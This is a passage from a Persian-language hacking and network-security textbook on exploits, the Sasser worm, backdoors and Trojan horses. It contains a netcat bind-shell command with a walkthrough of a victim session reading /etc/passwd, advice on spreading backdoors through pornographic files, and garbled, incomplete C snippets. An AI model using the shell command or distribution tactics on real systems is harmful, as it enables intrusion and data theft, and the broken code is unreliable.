میشناسند و برخی دیگـر نیـز فقـط لینـوکس را، و متناسـب بـه سیسـتم عامـل و تعریـف وظـایفی کـه            

www.Prozhe.com



 
56 

 

هـا میتوانـد هـم لینـوکس     Exploit البتـه نسـل جدیـد   . برایش شده است عملیات خود را انجام می دهـد 
  .ویندوز عملیات مخرب انجام دهدرا شناخته و هم روي 

ــین افــزایش   ــراي افــزایش قــدرت نفوذپــذیري و همچن البتــه بیشــتر از نســل جدیــد، در ابرکــرم هــا ب
بـراي مثـال بـه تکـه کـد      . قدرت بیشتر و نهایتا توانایی تخریـب بیشـتر روي شـبکه اسـتفاده مـی شـود      

  :نوشته شده است توجه نمایید Cزیر که در زبان

#include <stdio.h> 

#include <stidlib.h> 

#include <string.h> 

#include <Time.h> 

#ifdef Win32 

      #include <Win Sock.h> 

       #include “Winner.h” 

       #define close   closesocket 

#else 

#include <unistd.h> 

#include <sys/socket.h> 

#include <sys/typs.h> 

#include <arpa/inet.h> 

#include <netdb.h> 

#endif 

در واقع این تکـه کـد بـالا، بیـان دارد کـه در ابتـدا، بررسـی کنـد نـوع سیسـتم عامـل چیسـت؟ اگـر              
سیستم عامل ویندوزي بود که توابـع کمکـی وینـدوز را فراخـوانی میکنـد در غیـر ایـن صـورت فایـل          

  .هاي کمکی لینکوس را فراخوانی و سپس سوکت مورد نظر را میبندد
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اما براي این که بفهمیم چقـدر ایـن موضـوع پـر اهمیـت اسـت شـما را بـه یـک مثـال سـاده دعـوت             
یک شرکت سازنده برنامه هـاي تولیـدي، خـود را بارهـا و بارهـا موردحملـه قـرار میدهـد تـا          . مینمایم

باگ هاي موجود را در شـبکه پیداکنـد، ولـی بیشـتر اوقـات هـم خیلـی از آسـیب پـذیري هـا را نمـی            
چنـدین و چنـد گـروه امنیتـی و      IIS  6کـه در تولیـد محصـول     IISشش بدهـد ماننـد محصـول   تواند پو
از جمله نفوذگران باتجربه هنـدي و روسـی در آن دخالـت داشـتند امـا بـا ایـن وجـود هـر روز           نفوذگر

امـا همـانطور کـه در    .خبر جدیدي از وجود بـاگ هـاي جدیـد در ایـن برنامـه بـه گوشـتان مـی رسـد         
م برنامه ها و نـرم افزارهـاي زیـادي وجـود دارد کـه میتوانـد پـورت هـاي سیسـتم          مباحث گذشته گفتی

بـود کـه تـا حـدودي آن را توضـیح دادیـم و فرآینـد        Nmapمورد حمله را بررسـی کنـد و بهتـرین آن    
  .آن را متوجه شدیم

ایـن عمـل خطیـر را انجـام دهـیم، پـس توجـه شـما را بـه تکـه            Exploitاکنون میخواهیم به وسیله یک 
زیر جلب می نمایم؛ لازم بـه ذکـر اسـت کـه ایـن یکـی از بهتـرین مثـال هـاي موجـود در شـبکه             کد

و یـا بیشـتر افـزایش میدهـد تـا اشـکالات        500msمقـدار آن را بـه    RUNTIMEاست کـه در صـورت   
  .مربوط به آن مشخص شود

#include <windows.h> 

#include <stdio.h> 

#define OFFEN1 

#define GESCHLOSSEN 0 

WSADATA ws; 

SOCKET S; 

Char ip[40]; 

Struct Sockaddr_in sa; 

Int startport , endport; 

Struct hostent *HOST; 

//DUMMUS 
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Int I; 

Int checkport (nt x); 

… 

لازم به ذکر است که تکـه کـد بـالا کـاملا نـاقص اسـت و بـه دلیـل حفـظ مسـائل امنیتـی از نوشـتن             
  .میکنمکامل این برنامه خودداري 

را شـنیده انـد و از خطـرات ایـن      1اما دوستانی که دنبال مسائل امنیتـی هسـتند، حتمـا نـام کـرم ساسـر      
امـا بـد نیسـت یـک توضـیح ابتـدایی و مقـدماتی در        .غول بی شاخ و دم دنیاي مجـازي آگـاهی دارنـد   

توجـه  مورد این اژدهاي کامپیوتري بدم تا دوسـتانی کـه درخصـوص آن تـاکنون چیـزي نشـنیده انـد، م       
  .این کرم خطرناك بشوند

میلادي،رایانـه هـایی راکـه داراي سیسـتم     2004ساسر نام یک کرم رایانه اي اسـت کـه در آوریـل سـال    
ایـن کـرم بـرخلاف کـرم هـاي رایانـه اي دیگـر از طریـق          .عامل ویندوز بودند را مورد حمله قـرار داد 

ایمیل گسترش پیدا نمی کرد و بدون نیـاز بـه دخالـت کـاربر و فقـط از طریـق حفـره هـاي امنیتـی کـه           
ــه درون  وجــود داشــت، 2003، و وینــدوز ســرورXP، وینــدوز2000در سیســتم عامــل هــاي وینــدوز ب

بـه جسـت و جـوي سـایر یارانـه هـاي آسـیب         ویندوز نفوذ می کرد و پس از آلوده ساختن آن، شـروع 
  .پذیر دیگر از طریق اینترنت می کرد

ــزنم؟ بــه عقیــده    ــه اژدهــا و دیگــر القــاب ترســناك صــدا می امــا چــرا از ابتــداي بحــث بنــده آن را ب
کارشناسان مسـائل امنیتـی، کـرم ساسـر خطرنـاك تـرین و مخـرب تـرین کـرم رایانـه اي موجـود در            

رآورد هاي انجـام شـده، نزدیـک بـه یـک میلیـون رایانـه را در سـطح جهـان          تاریخ اینترنت بود و طبق ب
هـزار  130آلوده ساختند و میزان خسارت هاي انجـام شـده از طـرف برخـی از قربانیـان، چیـزي حـدود       

  .یورو اعلام شد

در انگلستان نیز بیشترین خسارات وارده بر شـرکت کشـتیرانی بـود، کـه مجبـور شـد بـه جـاي ارسـال          
در اسـترالیا نیـز بـه دلیـل آلـوده      . انه اي، از نقشه هاي کاغـذي بـراي مـدتی اسـتفاده کنـد     نقشه هاي رای
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شدن برخی سیستم هـاي دولتـی بـه ایـن کـرم و عـدم برقـراري ارتبـاط بـین راننـدگان قطـار و مرکـز             
هـزار رایانـه   12همچنـین ایـن کـرم چیـزي حـدود      .کنترل، براي مدتی حرکت قطارها متوقف شـده بـود  

پـرواز از شـرکت هـوایی    40اروپا در بروکسل را آلـوده کـرده بـود،و باعـث لغـو تقریبـا      مرکز کمیسیون 
  .دلتا ایرلاین شد

اداره پسـت، ایـن سـازمان بـراي خـدمت رسـانی بـه مشـتریان          400در تایوان نیز به دلیل آلـوده شـدن   
 در ایـران نیـز طبـق   . خود مجبور شد بـا قلـم و کاغـذ و شـیوه قـدیمی خـود اقـدام بـه فعالیـت کنـد          

گزارشی که از شـرکت بـزرگ پانداسـکیوریتی شـد، بیشـترین سیسـتم هـاي آلـوده جهـان، متعلـق بـه            
  .ایران بود

. سـال بیشـتر نداشـت   17نویسنده این کرم آشوبگر، یک نوجوان آلمانی به نـام سـوئن جاشـان بـود کـه      
خسـارات ناشــی از ایـن کــرم بـه قــدري بـالا بــود کـه شــرکت معتبـر ماکروســافت، جـایزه اي بــالغ        

ــر ــت، جاشــان در  250ب ــن کــرم اعــلام کــرد و درنهای ــراي دســتگیري نویســنده ای ــی 17هــزار دلار ب م
  .ماه حبس تعلیقی محکوم گردید21توسط پلیس آلمان دستگیر و به  2004سال

ــوع  ــرم داراي دون ــن ک ــل    A,Bای ــب دو فای ــه ترتی ــه، ب ــس از اجــرا در رایان ــوع پ ــر دون ــه ه ــود ک ب
AVSERVE.EXE ,    ــدوز و ــاخه ي وین ــه  xxxxx_up.exeرا در ش ــی    5xک ــادفی م ــدد تص ــک ع ی

ــد Windows/system32و  Windows/systemباشــد، درشــاخه  ــی نمای ــی م ــی در . کپ ــرم تغییرات ــن ک ای
ــتمی     ــل سیس ــتلال در فای ــث اخ ــرده و باع ــال ک ــدوز اعم ــتري وین ــود LSASS.EXEرجیس ــی ش . م

  .ار سیستم نیز می شودهمچنین این کرم باعث خاموش، یا ریست شدن خودک

  1درب هاي پشتی) 3-9
در بسیاري از کتب مربوط بـه امنیـت شـبکه، همچنـین سـخنان محـاوره اي نفـوذگران و اخـلال گـران،          
حتما به کلمه درب هاي پشتی برخـورد کـرده ایـد و شـاید بـراي شـما سـوال پـیش آمـده اسـت کـه            

  درب هاي پشتی چیست و چه کاري میکند؟
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شخصـی جهـت سـرقت وارد    . بـه مثـالی کـه عـرض میکـنم خـدمتتون توجـه کنیـد        براي مفهموم بهتر 
طـلا و جـواهرات را شناسـایی و آن هـارا برداشـته اسـت و امـا بدشناسـی آورده و         . منزلی شـده اسـت  

در ایـن صـورت سـارق بایـد دنبـال یـک درب مخفـی یـا یـک          . صاحب منزل بدموقع وارد مـی شـود  
درب هـاي  . غیـر ایـن صـورت در دام قـانون افتـاده اسـت       درب پشتی بگردد که بتوانـد فـرار کنـد در   

  .پشتی در امنیت کامپیوتر نیز همین مفهوم را دارند

در گذشته هاي نه چندان دور، هکرها، درب هـاي پشـتی را بـر روي سیسـتم هـا شناسـایی کـرده و بـه         
کـرده و از  1ولی هـم اکنـون بیشـترهکرها درب هـاي پشـتی را بـرروي سیسـتم آپلـود        .آن نفوذ میکردند

فـرض کنیـد تعـدادي سـارق بانـک بـا تونـل کنـدن وارد         ( طریق راه مربوطه وارد سیسـتم هـا میشـوند   
مزیـت ایـن گونـه حمـلات ایـن اسـت کـه هکـر میتوانـد بـا اسـتفاده از ایـن متـد،               ).بانک می شـوند 

  .هرزمان که تمایل داشت وارد یا خارج شود از سیستم هدف

اکثـر تـازه کـار هـا درب هـاي پشـتی       .شتی در ابتـدا آشـنا شـویم   بهتر است با تعریف اصلی یک درب پ
ــت          ــک جه ــرورفایل کوچ ــک س ــراه ی ــه هم ــدف، ب ــتم ه ــر روي سیس ــده ب ــورتی بازش ــا پ را ب

اشتباه می گیرند، کـه البتـه ایـن موضـوع گـاهی باتروجـان هـا نیـز اشـتباه گرفتـه            Server/Clientارتباط
ده کـه خـود متودهـاي درب هـاي پشـتی یـک       می شود،اسب هاي تراوا خود یک نوع برنامـه مجـزا بـو   

دسترسی را فراهم می سازد؛ پس هیچ گـاه نبایـد درب هـاي پشـتی و اسـب هـاي تـراوا را بـا تروجـان          
  .ها اشتباه گرفت

تروجان ها علاوه بر ایجاد یک درب پشـتی بـراي نفـوذگر، عملیـات هـاي نفـوذ دیگـري را نیـز انجـام          
پشـتی بـا برخـی از تروجـان هـاي تـک منظـوره کـه جهـت          شاید به علت تشابه درب هـاي  . می دهند

بــاز کــردن درب پشــتی در نفــوذ اســتفاده مــی شــوند بســیاري از اخــلال گــران آن را بــا درب پشــتی 
  .اشتباه می گیرند
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برنامـه اي اسـت کـه بـه یـک نفـوذگر ایـن امکـان را مـی دهـد،تا            :اما تعریف علمی درب هاي پشـتی 
ــتم را دور زده  ــک سیس ــی ی ــرار   پروســه امنیت ــوذگر ق ــار نف ــی از آن سیســتم را در اختی ــابع مختلف و من

  .دهد

درب هاي پشتی انـواع زیـادي دارد کـه بـه دلیـل کمبـود وقـت، فقـط بـه تعـداد محـدودي از آن هـا             
  :اشاره می کنیم

 تغییر در سطح دسترسی به محل: 

این نـوع درب پشـتی بـه نفـوذگر ایـن امکـان را مـی دهـد کـه ناگهـان یـک حسـاب             
تبــدیل  Administorیــا  Rootمــولی، بــه حسـاب کــاربري بــا دسترسـی بــه  کـاربري مع 

با ایـن دسترسـی نامحـدود نفـوذگر مـی توانـد، دوبـاره فایـل هـاي          . شده و ارتقاع یابد
  .ذخیره شده بر روي سیستم را به طریق خود پیکربندي نماید

 اجراي فرمان هاي منفرد از راه دور 

توانـد، بـا ارسـال پیغـام بـه سیسـتم هـدف         در این نوع از درب هاي پشتی، نفوذگر می
در همان لحظه یک تک فرمـان را بـرروي ماشـین مـوردنظر اجـرا کنـد، درنتیجـه درب        

 .پشتی فرمان تکی نفوذگر را اجرا کرده و پاسخ را به نفوذگر برمیگرداند

 دسترسی به یک سطرفرمان از سیستم هدف از راه دور 

ایــن یکــی از شــناخته شــده تــرین درب هــاي پشــتی بــراي نفــوذگران مــی باشــد،نام  
در ایـن نـوع درب پشـتی بـه نفـوذگر ایـن       . مـی باشـد   Remot shellمعروف این نـوع  

امکان را می دهد در سطر فرمـان سیسـتم قربـانی، و از طریـق شـبکه سـطرفرمان هـایی        
یتوانـد سـطر فرمـان را بـه یـک      در ایـن حالـت، نفـوذگر م   .را به طور مستقیم اجرا نماید

از جملـه توانـایی هـاي یـک سـري از فرمـان هـا بـه طـور          .ابزار کاربردي تبدیل نماید
هــاي خطرنــاك ویــا انتخــاب فایــل از دســته بــراي جمــع  Scriptمــوازي ویــا نوشــتن 

ــان ــت  . آوري هایش ــوان گف ــتر میت ــی بیش ــا بررس ــیارپرتوان و   Remot Shellب ــا بس ه
 ـ بـه تشـابهی ایـن    . ان هـاي تکـی بـه سیسـتم قربـانی هسـتند      پرکاربرد تر از اجراي فرم
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نــوع درب پشــتی یــه راه مســتقیم بــراي دسترســی شــما بــه کیبــورد سیســتم هــدف را 
  .فراهم می کند

  دسترسی از راه دور به ماشین هدف از طریق برنامه هايGUI 

بعد از گذراندن مراحل دسترسـی هـاي سـطر فرمـان بـه ماشـین هـدف، بـه درب هـاي          
بـه  . از سیستم هـدف بـراي مـا تهیـه مـی نمایـد       GUIپشتی میرسیم که یک دسترسی به 

در ایـن نـوع شـما مـی توانیـد      . طور مثال باز و بسته شدن پنجره ها ویا حرکـت مـوس  
سیســتم قربــانی را خــود ، ویــا حتــی باشــید نظــاره گــر حرکــت قربــانی در سیســتمش

  .بدست بگیرید

امـا سـوال اینجاسـت کــه چگونـه یـک درب پشـتی را روي سیســتم قربـانی نصـب کنیم؟خـب شــاید          
براي افراد تازه کار سوال جالبی باشد کـه یـک درب پشـتی را کـه ایـن همـه کمـک مـی کنـد بـه مـا            

  م؟چگونه نصب کنیم تا به راحتی حتی حرکت موس قربانی را نیز به دست بگیری

باید عرض کنم که یک نفـوذگر حرفـه اي، بعـد از حملـه از طریقـی کـه توضـیح داده شـد در مباحـث          
گذشته، به این فکر میافتد تا یک درب پشـتی بـراي خـود بـاز کنـد کـه در صـورت لـزوم و اضـطرار،          

بهتـرین و راحـت تـرین آن مهندسـی     . بـه چنـد طریـق میتـوان ایـن کـار را کـرد       . وارد یا خارج شـود 
یکـی دیگـر از راه هـا دادن نـرم افزارهـا ویـا فـیلم        . ی است که در مباحـث اول توضـیح دادیـم   اجتماع

  .هاي آلوده و تشویق قربانی به پخش کردن آن ها است

متاسفانه در تحقیقات بنده، در کشور مـا نصـب درب هـاي پشـتی از طریـق فـیلم و عکـس از خـوردن         
 ـ . یک لیوان آب خنک نیز سـاده تـر اسـت    ت تلخـی کـه وجـود دارد، میتـوان یـک درب      متاسـفانه حقیق

پشتی را با یک فـیلم مسـتحجن و یـک عکـس غیراخلاقـی ترکیـب کـرده و در فضـاي اینترنـت آپلـود           
کنید، آنگاه متوجه خواهید شد چـه تعـداد انبـوهی از پاسـخ هـاي ایـن درب از ماشـین هـاي مختلـف          

یـن اسـت کـه از طریـق     یکـی دیگـر از راه هـاي نصـب درب پشـتی ا     .براي شما ارسـال خواهـد شـد   
  .اسب تراوا اقدام کرد که خود اسب تراوا شامل چندین درب پشتی می باشد
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کـرده  1اکنـون چگونـه آن را لـود   . اما سوال بعدي این است کـه مـا یـک درب پشـتی را نصـب کـردیم      
  و استفاده نماییم؟

نوبـت ایـن   بعد از این کـه نفـوذگر توانسـت بـه سیسـتم قربـانی نفـوذ و درب پشـتی را نصـب کنـد،           
درب پشتی بـه صـورت دسـتی فعـال مـی شـود امـا پـس از خـارج شـدن از           .است که آن را فعال کند

بـه ایـن   . دیگر نمی توانـد بـه آن درب پشـتی بـراي بـار دوم متصـل شـود        2شد حوزه دسترسی به منابع
منظــور نفــوذگر درب پشــتی را درجاهــایی از سیســتم و بــه صــورتی نصــب میکنــد کــه بــا هربــار راه 

راه انـدازي شـود و بـدین وسـیله نفـوذگر       Boot Upزي سیستم هدف، درب پشـتی نیـز بـه همـراه     اندا
  .بتواند هرموقع که اراده کرد وارد یا خارج سیستم شود

 NatCatیکی از درب هـاي پشـتی کـه بـراي هـر سیسـتم عامـل سـازگار بـا یـونیکس سـازگاري دارد            
 ـ    .نام دارد ین قربـانی، یـک راه بسـیار سـاده و شـفاف بـین       در حقیقت با اجـراي ایـن برنامـه، روي ماش

نفـوذگر،  . کـدهاي ایـن برنامـه کـاملا رایگـان و بـاز در اختیـار قـرار دارد        .نفوذگر و قربانی باز می شود
ــه  NatCatبرنامــه ــا گزین ــل مــی کنــد”GAPING_SECURITY_HOLE“را ب ــه . ، کمپای ــن گزین درج ای

بتوانـد درهنگـام برقـراري ارتبـاط یـک       NatCatموقع ترجمه آن در خـط فرمـان، باعـث مـی شـود تـا       
  .برنامه دیگر را اجرا کرده و داده هاي دریافتی را به آن برنامه هدایت نماید

را روي ماشـین قربـانی اجـرا مـی کنـد، بـه محـض برقـراري          NatCatوقتی نفوذگر با اجراي فرمان زیـر 
اجــرا شــده و داده هــاي ارســالی جهــت  Command Shellارتبــاط بــا قربــانی، برنامــه پوســته فرمــان 

  :پردازش به این برنامه هدایت می شود

-$ nc -1 –p [port] –e /bin /sh 

nc: در واقع این قسمت براي اجرايNatCat برروي ماشین هدف است.  

  Listenerحالت : 1-

                                                             
1 Load 
2 Log Out 
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-p [port] :شماره پورت مورد نظر براي شنود  

–e /bin /sh  :  ـ  راري ارتبـاط، بایـد اجـرا شـده و داده هـاي دریـافتی بـراي        نام برنامه اي کـه پـس از برق
  .1پردازش، تسلیم آن شود

این خط فرمـان بـراي نفـوذگر یـک درب پشـتی بـاز میکنـد،و بـراي ورورد بـه سیسـتم از ایـن درب،            
نـام   ncبـه خـاطر داشـته باشـید کـه      .کـافی اسـت   12345با شماره پورت TCPفقط برقراري یک ارتباط

  .است و شما به راحتی میتوانید آن را به هر نام دلخواهی تغییر دهید NatCatمخفف 

از ماشــین قربــانی برقــرار مــی کنــد، ســریعاً برنامــه  12345بــاپورت TCPوقتــی نفــوذگر یــک ارتبــاط 
هرچـه را نفـوذگر از طریـق ماشـین خـود تایـپ کنـد، بـه عنـوان فـرامین           .پوسته فرمان، اجرا می شـود 
حـال شـما را بـه یـک مثـال واقعـی از نفـوذ        . داده شده و اجرا می شـوند  سیستمی تحویل پوسته فرمان

بـا مشخصـات فرمـان بـالا روي ماشـین       NatCatم البتـه بـه شـرطی کـه فـرض کنیـد       دعوت مـی کـن  
  :قربانی اجرا شده است

$ nc victim_machine 12345 

 این فرمـان : توضیح کدNatCat      در ابتـداي اجـرا،  . را درحالـت مشـتري اجـرا مـی کنـدNatCat 
ــورت   ــا پـ ــد بـ ــی کنـ ــعی مـ ــاط   12345سـ ــانی ارتبـ ــین قربـ ــد TCPاز ماشـ . برقرارکنـ

Victim_machine  ــا آدرس ــوزه ی ــام ح ــه  IPن ــت ک ــینی اس ــه ماش ــر روي آن،  NatCatبرنام ب
  .درحالت شنود اجرا شده است

فهرسـت فایـل هـا و شـاخه هـاي       ، تـلاش کـرده تـا   NatCatنفوذگر با تایپ این دستور درخـط فرمـان  
  ).است DOSدر محیط Dirدر یونیکس مثل دستور  S/فرمان .(ماشین قربانی را ببیند

Sensitive_documents 

Tools 

Games 

                                                             
 در این مثال پوسته فرمانCommand Shellمی باشد 1
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 بـه فـرض ایـن سـه خـط پاسـخ دسـتور       : توضیح کدIs  از بـین ایـن فهرسـت، شـاخه     . هسـتند
sensitive_document براي نفوذگر بسیار جالب و جذاب است.  

Whoami 

 نفـوذگر بـا تایـپ ایـن دسـتور در خـط فرمـان تقاضـا کـرده تـا سیسـتم،            :توضیح کدUser ID 
  .تحت مجوز آن کاربر بر روي ماشین اجرا شده است، نشان بدهد NatCatکاربري را که 

Fred 

 ایــن کلمــه، پاســخ دســتور: توضــیح کــدwhoami  اســت؛ یعنــی کــاربري کــه روي ماشــین او
  .است fredمعادل با  User IDاجرا شده داراي  NatCatبرنامه

Cat / etc / passwd 

 این دستور، فایل مربـوط بـه کلمـات عبـور کـاربران مختلـف را بـه نفـوذگر نشـان          : توضیح کد
اسـتفاده نکـرده باشـد، کلمـات عبـور بـه        shadow passwordاگـر سیسـتم از گزینـه   . می دهـد 

  .صورت رمزنگاري شده به او نشان داده خواهد شد

Root:2khs8798c@#2dkjhk:6:0:root/ 

Root: /bin/bash 

Fred: 2 : 31k4c@#1#$ s23#@d23cc: 100 : 100 

Fred : 1 home/fred : / biwbadh 

 این خطـوط در پاسـخ بـه دسـتور قبلـی     : توضیح کد)cat ( ده شـده اسـت و کلمـات    نمـایش دا
عبور را به صورت رمزنگـاري شـده بـه نفـوذگر نشـان مـی دهـد لـذا او مجبـور اسـت بـراي            

  .مشاهده رمز از رمزشکن استفاده کند

 1اسب هاي تراوا) 3-10

وقتـی سـربازان یونـانی شـهر     . تقریبا همه شـما داسـتان معـروف و قـدیمی شـهر تـروي را شـنیده ایـد        
تروي را محاصره کردند تا مـدتهاي زیـادي بـه دلیـل حفاظـت شـدیدي کـه از دیـوار شـهر مـی شـد            
                                                             
1 Trojan Horses 
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، تـا ایـن کـه بـه ایـن      کسی نتوانست وارد شهر شود و ماه ها پشـت دیـوار شـهر توقـف کـرده بودنـد      
که دیگـر نمیتـوان محاصـره را ادامـه داد و بـدون ایـن کـه موفـق بـه فـتح شـهر شـوند              نتیجه رسیدند

  .مجبور شدند محاصره را بشکنند

در این میان براي دشمن خیلی سخت گذشـت کـه بعـد از هزینـه هنگفتـی اکنـون محاصـره را بشـکند،         
. تقـدیم کردنـد  درنتیجه به پیشنهاد دختر شاه عمـل کردنـد و اسـبی را بـه عنـوان پیشـکش بـه دشـمن         

در این اسب چوبی عظیم سـربازان زیـادي پنهـان بـود و مـردم شـهر غافـل از ایـن موضـوع آن را بـه           
درون شهر بردند و شبانه، سربازان دشـمن از موقعیـت اسـتفاده کـرده و بـه داخـل شـهر رخنـه کردنـد          

  .و شهر را به تصرف کامل خود در آوردند

 ـ    اك، مجـدداً ایـن اتفـاق رخ داد، امـا نـه درشـهر تـروي،        هزاران سال پس از ایـن افسـانه تلـخ و دردن
بلکه در شبکه هاي کامپیوتر خـانگی و شـرکت هـاي عظـیم؛ آن هـم نـه بـه صـورت افسـانه اي، بلکـه           

بـا مقدمـه اي کـه عـرض شـد، متوجـه میشـویم کـه اسـب تـراوا یـک برنامـه             . کاملا حقیقی و مخرب
  .ده یا کاملاً معمولی داردآلوده به کدهاي اجرایی است که غالباً ظاهري فریبن

این برنامه ها همانند درب هاي پشتی که گفتـه شـد بدسـت خـود کـاربر و بـه همـان طریقـی کـه درب          
زمـانی کـه بـه دسـت خودکـاربر بـر روي ماشـین اجـرا         . هاي پشتی نصب شـدند، نصـب مـی شـوند    

. ار مـی دهـد  شوند همانند یک سـرویس دهنـده، کنتـرل و هـدایت آن ماشـین را دراختیـار نفـوذگر قـر        
در . از آنجا به بعد است که شخص نفـوذگر تصـمیم مـی گیـرد بـا آن ماشـین چـه کـاري انجـام دهـد          

سیستم هاي خانگی ترسناك تـرین وضـع ممکـن ایـن اسـت کـه داده هـاي حیـاتی ماننـد فایـل هـاي            
امــا درشــبکه هــاي بــزرگ میتوانــد اطلاعــات میلیــون هــا مشــتري مقابــل .  خــانوادگی ســرقت شــوند

امـا کـار بـه سـرقت فایـل یـا اطلاعـات مشـتري          سئول امنیت شـبکه خریـد و فـروش شـود    چشمان م
ــدي         ــلات بع ــراي حم ــین ب ــک ماش ــوان ی ــه عن ــانی ب ــتم قرب ــود و سیس ــتم نش ــت خ ــن اس ممک

  .نیز استفاده کند DDosو یا حتی حملات  Arpspoofing , Sniffing , Session Hijacking:شبیه
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ت یا یـک برنامـه تحـت شـبکه، بـه یـک برنامـه مفیـد مـی          کدهاي مخرب اسب تراوا درقالب یک سوک
چسبند، یا آنکه کلاً برنامه اي هستند کـه ظـاهر مفیـدي انجـام مـی دهنـد امـا درحقیقـت سـتون پـنجم           

. براي حمله به کـاربران خـانگی، معمـولا درقالـب عکـس، فـیلم ویـا بـازي هسـتند         . محسوب می شوند
ي آن را دانلـود میکننـد بایـد انتظـار ایـن را داشـته       البته درسایت هاي مسـتحجن افـرادي کـه فـیلم هـا     

  .باشند که اطلاعات شخصی آن ها به راحتی در دنیاي اینترنت دیده شود

یکـی از دوسـتان بنـده، کـه در نیـروي      . در این جا پرانتزي باز کنم و نکتـه اي عـرض کـنم بـد نیسـت     
ــه   کلانتــري، بیــان دارد کــه انتظــامی فعالیــت مــی کنــد، روزي تعریــف میکــرد پســري بــا شــکایت ب

تصاویر کـاملا خصوصـی و محرمانـه خـواهرش در فـیس بـوك آزادانـه اشـتراك گذاشـته مـی شـود،            
بـا تحقیقـات گسـترده پلـیس فتـا، متوجـه       . درحالی که آنهـا اهـل اشـتراك همچـین تصـاویري نیسـتند      

صـی  میشوند که اخلال گري در یکی از شبکه هـاي اجتمـاعی، یـک اسـب تـراوا در قالـب عکـس شخ       
خودش که خانمی بدحجاب بـود را بـه او داده اسـت و او پـس از بـاز کـردن عکـس تمـام اطلاعـات          

  .روي هاردش براي اخلال گر ارسال شده است

شـده، و خـود را بـه گونـه اي     1امروزه اکثر اسب هاي تراوا پس از اجـرا شـدن بـر روي ماشـین، پنهـان     
آنهـا هـیچ اختلالـی کـه باعـث       .2عـال شـوند  نصب می کنند که پس از هربار ورود کـاربر بـه سیسـتم ف   

شود کاربر از وجـود آن هـا مطلـع گـردد، انجـام نمـی دهنـد بلکـه مخفـی بـاقی مـی ماننـدتا هرگـاه              
  .نفوذگر اراده کرد، از راه دور کنترل آن ماشین ها را برعهده بگیرد و اهداف خود را دنبال کند

 ـ       راوا بـراي مـدتهاي زیـاد روي یـک     مسئله اي که این جا مطرح اسـت ایـن کـه ممکـن اسـت اسـب ت
اگر تـاکنون آسـیبی بـه سیسـتم شـما نرسـیده اسـت، دلیـل بـر          . سیستم فعال و آرام وساکت باقی بماند

پاکی آن نیست؛ شما بـه صـورت مـداوم بایـد سیسـتم خـود را بـا ویـروس کـش هـاي آپـدیت شـده             
  .مرتب کنید
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خواننـده پرسـید ایـن اسـت کـه       اما سوال بعدي کـه میتـوان از میـان صـدها سـوال موجـود در ذهـن       
: چگونه یک اسب تـراوا را بـه یـک برنامـه مفیـد بچسـبانیم؟ آنچـه مسـلم اسـت یـک ایمیـل بـاعنوان            

درصـورت تمایـل آن را نصـب کنیـد تـا بـراي همیشـه        . محتوي این برنامه حامل یک اسب تراوا اسـت 
. دانلـود کنیـد   از سیستم خـود خـداحافظی کنیـدو اطلاعـات شخصـی خـود را نیـز از دنیـاي مجـازي         

اگـر هـم همچـین ایمیلـی بـه دسـت شـما برسـد         . هیچ گاه چنین ایمیلی به دست شـما نخواهـد رسـید   
هیچگاه آن را باز نخواهید کرد، البته منهـاي افـرادي کـه هسـتند تـا ایـن برنامـه هـا را از روي سـادگی          

  .اجرا کنند و دنبال نوش داروي بعد از مرگ سهراب باشند

همانگونه که گفتیم اسب هاي تراوا در قالب یـک برنامـه کـاربردي و بسـیار مفیـد ارائـه مـی شـود کـه          
گـروه هـاي زیـر زمینـی، ابزارهـایی را نوشـته و توسـعه داده انـد         . بسیار لذت بخش اسـت کـار بـا آن   

 Wrapperایـن ابزارهـا کـه    . قادر هستند هرنوع اسب تراوایـی را بـه یـک برنامـه اجرائـی بچسـبانند      که 
  .نام دارند در اختیار عموم قرارگرفته و متاسفانه استفاده نابه جایی از آن ها می شود

شما به عنوان مسئول شبکه یا یک کاربر، باید بـه هـر برنامـه اجرایـی کـه بـا ظـاهر مفیـد و زیبـا بـراي           
 ـ     Wrapperبرنامـه هـاي   . شما ارسال شده اسـت، مشـکوك باشـید    ه ایـن امکـان را فـراهم آورده انـد ک

یکـی از ایـن   . یک اسب تراوا به طور مستقل نوشته شده و سـپس بـه یـک برنامـه مفیـد چسـبیده شـود       
  .نام دارد Silk Ropeابزارها نرم افزار 

معمولاً اخلال گـران اسـب هـاي تـراوا را بـه برنامـه هـاي رایگـان، کوچـک و زیبـا مـی چسـبانند تـا              
مکـن اسـت بـه یـک برنامـه اجرایـی کوچـک        مـثلاً یـک اسـب تـراوا م    . قربانیان بیشتري داشته باشـند 

چسبانده شود، که آن برنامـه بـا اجـراي یـک قطعـه انیمیشـن زیبـا و موزیکـال، جشـن تولـد کـس را            
یا اگر بخواهیم واقع بینانه تـر مشـاهده کنـیم، اکثـر قربانیـان اسـب هـاي تـراوا را بایـد          . تبریک میگوید

یـا   Winmapي سـود منـد و رایگـانی مثـل     برنامـه هـا   .در فیلم ها و کلیپ هـاي مسـتحجن پیـدا کـرد    
Real Audio Player می تواند طعمه اي براي قربانیان محسوب می شود.  
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از بــین ایــن همــه ابــزار متنــوع و کــاربردي، نــرم . بســیار متعــدد و متنــوع هســتند Wrapperابزارهــاي 
را کــه رایگــان نیــز هســتند،  Elite Wrap ویــا  Saran Wrapویــا   Silk Rope2000افزارهــایی ماننــد 

اما لازم بـه تـذکر اسـت کـه هـیچ گـاه از دنیـاي اینترنـت ایـن نـرم افزارهـا را دانلـود             . میتوان نام برد
  .نکنید زیرا اخلال گران سنگدل درکمین شما نشسته اند

متاسـفانه ابزارهـاي بسـیار زیـادي بـه عنـوان ضـدویروس یـا ضـد اسـب تـراوا توسـط             : هشدار مهـم 
عرضه شده است، که نه تنهـا جلـوي ضـرر و زیـان را نمـی گیرنـد بلکـه خـود آنهـا یـک           اخلال گران 

عرضــه شــد؛  BOبــه بعــد کــه اســب تــراواي  1999از ســال. اســب تــراواي بســیار خطرنــاك هســتند
  :ابزارهایی باعناوین زیر تبلیغ شدند که خودشان آلوده و مخرب بوده اند

 BO Eradicator 
 BO Killer 
 Anti BO 
 BO Detector 
 BO Alarm 

دقت داشـته باشـید کـه هـیچ گـاه فریـب چنـین تبلیغـات بـه ظـاهر شـیرین و جـذاب ولـی دربـاطن               
ترسناك و خـائنی را نخوریـد و ابزارهـاي کشـف تـراوا را از شـرکت هـا و موسسـات معتبـر و فعـال           

چ رایگان بـودن ایـن نـرم افزارهـا مبـادا شـمارا فریـب دهـد زیـرا هـی          . حوزه امنیت سایبري تهیه نمایید
  .کس قطعا دلش براي جیب و نقدینگی شما نسوخته است

BO2k          بـه ادامـه مطلـب     اسب تراواي مخرب یـا یـک وسـیله مفیـد؟ بـراي یـافتن پاسـخ سـوال خـود
